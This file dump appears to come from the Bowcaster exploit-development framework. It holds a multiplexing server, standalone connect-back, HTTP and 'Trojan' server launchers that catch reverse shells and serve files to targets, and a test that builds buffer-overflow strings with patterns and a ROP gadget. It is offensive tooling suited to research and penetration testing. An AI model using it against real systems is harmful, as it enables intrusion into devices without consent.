| for pid in self.child_pids: 186 | keepgoing=self.keepgoing 187 | while keepgoing: 188 | try: 189 | status=os.waitpid(self.pid,0) 190 | keepgoing=False 191 | except OSError as ose: 192 | if not ose.errno == errno.EINTR: 193 | keepgoing=False 194 | signal.signal(signal.SIGINT,signal.SIG_DFL) 195 | 196 | 197 | 198 | def _child_shutdown(self): 199 | for pid in self.child_pids: 200 | try: 201 | os.kill(pid,signal.SIGTERM) 202 | keepgoing=True 203 | while keepgoing: 204 | try: 205 | os.waitpid(pid,0) 206 | keepgoing=False 207 | except OSError as ose: 208 | if not os.errno == errno.EINTR: 209 | keepgoing=False 210 | except Exception as e: 211 | self.logger.LOG_WARN("Error shutting down server child pid: %d. %s" % (pid,str(e))) 212 | 213 | 214 | def serve(self): 215 | """ 216 | Start the multiplexing server. 217 | 218 | This function forks and returns the child PID. The child exits without 219 | returning. 220 | 221 | If server fails to bind an error is logged, and any exception is passed 222 | up to the caller. 223 | """ 224 | if self.pid: 225 | raise ServerException("There is an existing child process. Pid: %d" % self.pid) 226 | 227 | try: 228 | serversocket=self._server() 229 | except Exception as e: 230 | self.logger.LOG_WARN("There was an error creating server socket: %s" % str(e)) 231 | raise e 232 | 233 | self.pid = os.fork() 234 | if self.pid and self.pid > 0: 235 | serversocket.close() 236 | return self.pid 237 | else: 238 | try: 239 | self._serve_multiplexer(serversocket) 240 | except Exception as e: 241 | self.logger.LOG_WARN("There was an error serving multiplexed sessions. %s" % str(e)) 242 | 243 | serversocket.shutdown(socket.SHUT_RDWR) 244 | serversocket.close() 245 | self._exit() 246 | 247 | 248 | 249 | -------------------------------------------------------------------------------- /src/standalone/README: -------------------------------------------------------------------------------- 1 | Stand-alone programs using Bowcaster code. 2 | 3 | You can fire these up if it isn't convenient to use the corresponding Bowcaster code programmatically from your exploit code. 4 | 5 | trojanserver: A stand-alone Trojan server that uses the TrojanSever class 6 | connectbackserver: A stand-alone connect-back server using the ConnectbackServer class. 7 | -------------------------------------------------------------------------------- /src/standalone/connectbackserver: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | from bowcaster.servers import ConnectbackServer 4 | 5 | def main(ip_address,port=None,startcmd=None): 6 | if port: 7 | server=ConnectbackServer(ip_address,port=port,startcmd=startcmd) 8 | else: 9 | server=ConnectbackServer(ip_address,startcmd=startcmd) 10 | 11 | server.serve() 12 | server.wait() 13 | 14 | if __name__ == "__main__": 15 | ip_address="0.0.0.0" 16 | port=None 17 | startcmd=None 18 | if len(sys.argv) > 1: 19 | ip_address=sys.argv[1] 20 | 21 | if len(sys.argv) > 2: 22 | port=sys.argv[2] 23 | 24 | if len(sys.argv) > 3: 25 | startcmd=sys.argv[3] 26 | 27 | main(ip_address,port=port,startcmd=startcmd) 28 | -------------------------------------------------------------------------------- /src/standalone/httpserver: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | import traceback 5 | 6 | from bowcaster.common.support import Logging 7 | from bowcaster.servers.http_server import HTTPConnectbackServer 8 | 9 | if __name__ == "__main__": 10 | logger=Logging(max_level=Logging.DEBUG) 11 | 12 | files_to_serve=sys.argv[1].split(",") 13 | docroot=sys.argv[2] 14 | try: 15 | port=int(sys.argv[3]) 16 | except: 17 | port=8080 18 | 19 | 20 | 21 | try: 22 | httpd=HTTPConnectbackServer("",files_to_serve,port=port,docroot=docroot,logger=logger) 23 | logger.LOG_INFO("Starting server") 24 | pid=httpd.serve() 25 | logger.LOG_INFO("Waiting for server to terminate. PID: %d" % pid) 26 | except: 27 | logger.LOG_WARN("Error starting server.") 28 | sys.exit(1) 29 | 30 | try: 31 | httpd.wait() 32 | except Exception as e: 33 | traceback.print_exc() 34 | logger.LOG_DEBUG("except clause.") 35 | 36 | httpd.shutdown() 37 | 38 | logger.LOG_INFO("Server has terminated.") 39 | -------------------------------------------------------------------------------- /src/standalone/multiplexserver: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | from bowcaster.servers import MultiplexingServer 4 | 5 | def main(ip_address,port=None): 6 | addresses=["127.0.0.1","127.0.0.1"] 7 | if port: 8 | server=MultiplexingServer(ip_address,addresses,port=port) 9 | else: 10 | server=MultiplexingServer(ip_address,addresses) 11 | 12 | server.serve() 13 | server.wait() 14 | 15 | if __name__ == "__main__": 16 | ip_address="0.0.0.0" 17 | port=None 18 | 19 | if len(sys.argv) > 1: 20 | ip_address=sys.argv[1] 21 | 22 | if len(sys.argv) > 2: 23 | port=sys.argv[2] 24 | 25 | main(ip_address,port=port) 26 | -------------------------------------------------------------------------------- /src/standalone/trojanserver: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | from bowcaster.servers import TrojanServer 4 | 5 | def main(filename,port=None): 6 | if not port: 7 | port=8080 8 | ip_address="0.0.0.0" 9 | server=TrojanServer(ip_address,[filename],port=port,connectback_shell=False) 10 | 11 | server.serve() 12 | server.wait() 13 | 14 | if __name__ == "__main__": 15 | port=None 16 | 17 | filename=sys.argv[1] 18 | 19 | if len(sys.argv) > 2: 20 | port=sys.argv[2] 21 | 22 | main(filename,port=port) 23 | -------------------------------------------------------------------------------- /src/test-code/pattern_test.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013 2 | # - Zachary Cutlip 3 | # - Tactical Network Solutions, LLC 4 | # 5 | # See LICENSE.txt for more details. 6 | # 7 | import sys 8 | import os 9 | sys.path.insert(0,os.path.abspath('..')) 10 | 11 | from bowcaster.overflow_development.overflowbuilder import EmptyOverflowBuffer 12 | from bowcaster.common.support import BigEndian 13 | from bowcaster.common.support import Logging 14 | 15 | logger=Logging() 16 | logger.LOG_INFO("Creating empty overflow buffer") 17 | 18 | buf=EmptyOverflowBuffer(BigEndian,badchars=['A','B','6']) 19 | buf.add_pattern(1024) 20 | 21 | logger.LOG_INFO("Length of empty overflow buffer: %d" % buf.len()) 22 | 23 | buf.print_section_descriptions() 24 | print buf.pretty_string() 25 | 26 | logger.LOG_INFO("Offet of \"u3Au4\": %d" % buf.find_offset("u3Au4")) 27 | 28 | 29 | 30 | 31 | logger.LOG_INFO("Creating second emtpy overflow buffer") 32 | 33 | buf2=EmptyOverflowBuffer(BigEndian,badchars=['A','B','6']) 34 | try: 35 | buf2.add_pattern(128) 36 | except Exception as e: 37 | logger.LOG_WARN("Failed to add section.") 38 | logger.LOG_WARN(str(e)) 39 | 40 | try: 41 | buf2.add_string('A'*128) 42 | except Exception as e: 43 | logger.LOG_WARN("Failed to add section.") 44 | logger.LOG_WARN(str(e)) 45 | 46 | try: 47 | buf2.add_rop_gadget(0x4dc46fa0) 48 | except Exception as e: 49 | logger.LOG_WARN("Failed to add section.") 50 | logger.LOG_WARN(str(e)) 51 | 52 | try: 53 | buf2.add_pattern(1024-buf2.len()) 54 | except Exception as e: 55 | logger.LOG_WARN("Failed to add section.") 56 | logger.LOG_WARN(str(e)) 57 | 58 | 59 | logger.LOG_INFO("Length of second empty overflow buffer: %d" % buf2.len()) 60 | 61 | buf2.print_section_descriptions() 62 | print buf2.pretty_string() 63 | 64 | logger.LOG_INFO("Offset of \"u3Au4\": %d" % buf2.find_offset("u3Au4")) 65 | logger.LOG_INFO("Offset of \"M\\xc4o\\xa0\": %d" % buf2.find_offset("M\xc4o\xa0")) 66 | logger.LOG_INFO("Offset of 0x4dc46fa0: %d" % buf2.find_offset(0x4dc46fa0)) 67 | --------------------------------------------------------------------------------